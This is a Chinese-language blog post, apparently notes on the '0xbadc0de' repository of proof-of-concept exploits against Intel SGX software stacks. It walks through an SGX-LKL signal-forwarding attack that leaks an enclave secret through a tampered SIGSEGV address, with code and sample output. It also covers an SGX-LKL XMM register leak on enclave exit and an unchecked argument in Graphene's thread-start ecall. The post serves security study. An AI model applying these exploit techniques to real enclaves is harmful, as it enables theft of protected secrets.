0xbadc0de备忘录

0xbadc0de

包含针对SGX软件栈的若干漏洞利用POC。

SGX-LKL(Commit ID: 664eb25)

从SGX-LKL启动到开始运行App

shell中用sgx-lkl-run运行app

$ sgx-lkl-run ${app} ${app_env_arg}
// src/main/sgxlkl_run.c (Untrusted)
int main(int argc, char *argv[], char *envp[]) {
	...
	a[i].call_id = SGXLKL_ENTER_THREAD_CREATE;
	a[i].args = &encl;
	a[i].tcs_id = i;
    r = pthread_create(&ts[ntsyscall + i], &eattr, (void *)enclave_thread, (void *) &a[i]);
	...
}
// src/main/sgxlkl_run.c (Untrusted)
void* enclave_thread(void* parm) {
    ...
    enter_enclave(args->tcs_id, args->call_id, args->args, ret);
	...
}
// src/sgx/sgx.c (Untrusted)
void enter_enclave(int tcs_id, uint64_t call_id, void* arg, uint64_t* ret) {
	...
    eenter((uint64_t)threads[tcs_id].addr, &ret[0], &ret[1]);
    ...
}
// src/sgx/sgx.c (Untrusted)
/*
 * IN:  rdi - call id, rsi - call arg
 * OUT: rdi - exit reason, rsi - exit code
 */
__attribute__((noinline))
    void eenter(uint64_t tcs, uint64_t* rdi, uint64_t* rsi)  {
        asm volatile(
                ".byte 0x0f \n"
                ".byte 0x01 \n"
                ".byte 0xd7 \n"
                : "+D"(*rdi), "+S"(*rsi)
                : "a"(0x2), "b"(tcs), "c"(&exception)
                : "%rdx", "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15", "memory"
                );
    }
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted) (EntryPoint)
void __sgx_lkl_entry(uint64_t call_id, void* arg) {
    ...
    __sgx_lkl_start_main(encl);//case SGXLKL_ENTER_THREAD_CREATE
    ...
}
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted)
int __sgx_lkl_start_main(enclave_config_t *encl)
{
    ...
    __libc_init_enclave(encl->argc, encl->argv, encl);
    ...
}
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted)
/* 1 - initialization in progress, 2 - initialized */
int __libc_init_enclave(int argc, char **argv, enclave_config_t *encl)
{
	...
    /* You shall not pass control to the application */
    if (lthread_create(&lt, NULL, startmain, encl) == -1) { //注册SGX-LKL所支撑的Legacy App(调度入队操作)。__scheduler_enqueue(struct lthread *lt)
        exit(-1);
    }
    lthread_run();// 执行Legacy App
    return 0;
}
// src/sched/lthread.c (Trusted)
// 循环调度注册的App
void lthread_run(void) {
	...
    for (;;) {
        /* start by checking if a sleeping thread needs to wakeup */
        do {
        	...
        	// Below are different cases
        	//SGXLKL_TRACE_THREAD("[tid=%-3d] lthread_run() lthread_resume (wakeup sleeping thread) \n", lt->tid);
            //SGXLKL_TRACE_THREAD("[tid=%-3d] lthread_run() lthread_resume (dequeue sched queue) \n", lt->tid);
            _lthread_resume(lt);
            ...
        } while (dequeued);
        ...
    }
    ...
}
// src/sched/lthread.c (Trusted)
int _lthread_resume(struct lthread *lt) {
    ...
    _switch(&lt->ctx, &sched->ctx);//切换上下文
    ...
}

Signal Handler

Sample Out

../../build/sgx-lkl-run sgxlkl-disk.img app/helloworld
sgx.c: ubase = 0x7feed8000000, size = 5d7f -> end = 0x7feed8005d7e
ubase = 0x7feed8000000
enclave: super secret string at 0x7feeda678aa0
sgxlkl_run.c: Forward signal with siginfo at 0x7feee09ca7f0, signum = 4, siginfo.arg = 0x33bb4a46074
Oho, I will modify it then to 0x7feeda678aa0
DORESUME
tsc = 7465726365732072
Hello World!

Logic

要窃取的秘密:secret="\4\0\0\0super secret string"

相较于SGX-LKL常规启动流程,回显了一些内存布局信息。

// src/main/sgxlkl_run.c (Untrusted)
int main(int argc, char *argv[], char *envp[]) {
	...
 	uint64_t ubase = create_enclave_mem(enclave_start, getenv_bool("SGXLKL_NON_PIE", 0), &__sgxlklrun_text_segment_start);
	printf("ubase = %p\n", ubase);
	ubase_global = ubase;//定位Enclave基地址
	...
}
// src/sgx/sgx.c(Untrusted)
uintptr_t create_enclave_mem(char *p, int base_zero, void *base_zero_max) {
 	...
 	printf("sgx.c: ubase = %p, size = %x -> end = %p\n", ubase, size, ubase + size - 1);
	...
}

SGX-LKL初始化完毕后(2.1节),进入Legacy Aapp。

// apps/helloworld/helloworld.c (Trusted)
char* secret = "\4\0\0\0super secret string";

int main(int argc, char **argv) {
	printf("enclave: super secret string at %p\n", secret);
	uint64_t tsc = __builtin_ia32_rdtsc(); //SGX内不支持tdtsc会触发中断,由SGX-LKL接管并反馈rdtsc值
	printf("tsc = %lx\n", tsc);
	...
}

SGX内不支持tdtsc会触发中断,由SGX-LKL接管并反馈rdtsc值。

// src/main/sgxlkl_run.c (Untrusted)
void sigill_handler(int sig, siginfo_t *si, void *unused) {//在setup_signal_handlers()中注册(Untrusted)
   ...
    __asm("rdtscp" : "=a"(low), "=d"(high) : : "rcx");//后续在forward_signal()中被攻击者篡改
    ...
    forward_signal(SIGILL, (void*) rsi);
}
// src/main/sgxlkl_run.c (Untrusted)
void forward_signal(int signum, void *handler_arg) {
    ...
    printf("sgxlkl_run.c: Forward signal with siginfo at %p, signum = %d, siginfo.arg = %p\n", &siginfo, siginfo.signum, siginfo.arg);
	if(siginfo.signum == SIGILL)
	{
		siginfo.signum = SIGSEGV;
		siginfo.arg = ubase_global + 0x2678AA0;//事先算好secret的虚地址
		arg = siginfo.arg;
		printf("Oho, I will modify it then to %p\n", siginfo.arg);
	}		
	...
    enter_enclave(my_tcs_id, call_id, arg, ret);//利用Enclave内异常处理句柄__enclave_signal_handler(),将包含Secret的Page写入tsc中
	...
}
// src/sgx/enclave_signal.c (Trusted)
void __enclave_signal_handler(gprsgx_t *regs, enclave_signal_info_t *siginfo) {
	...
	switch (siginfo->signum) {
	    case SIGSEGV:
			//printf("SIGSEV: ");
	        ret = handle_sigsegv(regs, siginfo->arg);
	        break;
	    ...
    }
    ...
}
// src/sgx/enclave_signal.c (Trusted)
static int handle_sigsegv(gprsgx_t *regs, void *arg) {
    ...
	printf("Now calling the segv_handler, arg was %p...\n", arg);
	uint8_t* dump = &si;
	
	for(unsigned int i = 0; i < sizeof(siginfo_t); i++)
	{
		printf("%02x ", dump[i]);
	}
	printf("\n");
    (*segv_handler)(si.si_signo, &si, &u);//错误地将包含Secret的Page写入tsc中
	...
}

Enclave内对段错误的处理到此完成,程序退回到不可信环境的forward_signal()

// src/main/sgxlkl_run.c (Untrusted)
void forward_signal(int signum, void *handler_arg) {
    ...
	printf("DORESUME\n");
	...
}

tsc相关的SIGILL被处理,ERESUME进入Enclave,返回到Enclave内的helloword程序。

// apps/helloworld/helloworld.c (Trusted)
int main(int argc, char **argv) {
	...
	printf("tsc = %lx\n", tsc);//0x7465726365732072 "terces r" -> "r secret"
	...
}

恢复出的密码为r secret

XMM Leak

Sample Out

过长,见Here

Logic

该POC每次从Enclave退出后检测XMM寄存器的状态遗留。

// src/main/sgxlkl_run.c
void* enclave_thread(void* parm) {
    ...
    while (!__state_exiting) {
        enter_enclave(args->tcs_id, args->call_id, args->args, ret);
        dump_xmm_regs(0, ret[0]);
		...
    }
	..
}

SGX-LKL中的OCALL退出Enclave操作由leave_enclave()完成,setjmp()备份Enclave上下文,但寄存器状态没有清除,存在泄漏。(POC中的泄漏处应为exit_enclave(),而非leave_enclave()

void leave_enclave(uint64_t rdi, uint64_t rsi) {
    set_thread_state(OUTSIDE);
    ...
    if (setjmp(get_enclave_parms()->regs) == 0) {
        //TODO: clear registers
        __asm__ volatile(
                "mov %0,%%rsp\n"
                "mov %1,%%rbp\n"
                ".byte 0x0f \n"
                ".byte 0x01 \n"
                ".byte 0xd7 \n"
                :
                : "r"(ursp), "r"(urbp), "a"(0x4), "b"(exit_address), "D"(rdi), "S"(rsi)
                :
        );
    }
    set_thread_state(ACTIVE);
}

SGX-LKL的ECALL结束返回Enclave外的操作由exit_enclave()完成,同样没清除寄存器状态。

void exit_enclave(uint64_t rdi, uint64_t rsi, void* exit_address, int exit_thread_state) {
    set_thread_state(exit_thread_state);
    ...
    //TODO: clear registers
    __asm__ volatile(
        "mov %0,%%rsp\n"
        "mov %1,%%rbp\n"
        ".byte 0x0f \n"
        ".byte 0x01 \n"
        ".byte 0xd7 \n"
        :
        : "r"(ursp), "r"(urbp), "a"(0x4), "b"(exit_address), "D"(rdi), "S"(rsi)
        :
        );
}

Graphene

Graphene ocall_clone_thread()代码流程

为了分析《A Tale of Two Worlds》提到的Graphene调用栈漏洞(Readme提到了ocall_clone_thread()),此文贴上了ocall_clone_thread()中最关键的代码流程,并省略了BridgeRuntime

// in Enclave
// Pal/src/host/Linux-SGX/enclave_ocalls.c
int ocall_clone_thread (void (*func) (void *), const void * arg,
                        unsigned int * child_tid, unsigned int * tid)
{
	...
	retval = SGX_OCALL(OCALL_CLONE_THREAD, ms);
	...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
void * ocall_table[OCALL_NR] = {
        ...
        [OCALL_CLONE_THREAD]    = (void *) sgx_ocall_clone_thread,
        ...
    };
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
static int sgx_ocall_clone_thread(void * pms)
{
	...
	return clone_thread(ms->ms_func, (void *) ms->ms_arg,
                        ms->ms_child_tid, &ms->ms_tid);
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_thread.c
int clone_thread(void (*func) (void *, void *), void * arg,
                 unsigned int * child_tid, unsigned int * tid)
{
    ...
    ret = pthread_create(&new_arg.thread, NULL, thread_start, &new_arg);
	...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_thread.c
static void * thread_start (void * arg)
{
    ...
    ecall_thread_start(local_arg.func,
                       local_arg.arg,
                       local_arg.child_tid,
                       local_arg.tid);
	...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
int ecall_thread_start (void (*func) (void *), void * arg,
                        unsigned int * child_tid, unsigned int tid)
{
    ...
    return sgx_ecall(ECALL_THREAD_START, &ms);
}
// in Enclave
// Pal/src/host/Linux-SGX/enclave_ecalls.c
void * ecall_table[ECALL_NR] = {
        ...
        [ECALL_THREAD_START]    = (void *) enclave_ecall_thread_start,
    };
// in Enclave
// Pal/src/host/Linux-SGX/enclave_ecalls.c
int enclave_ecall_thread_start (void * pms)
{
    ...//未检查pms
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值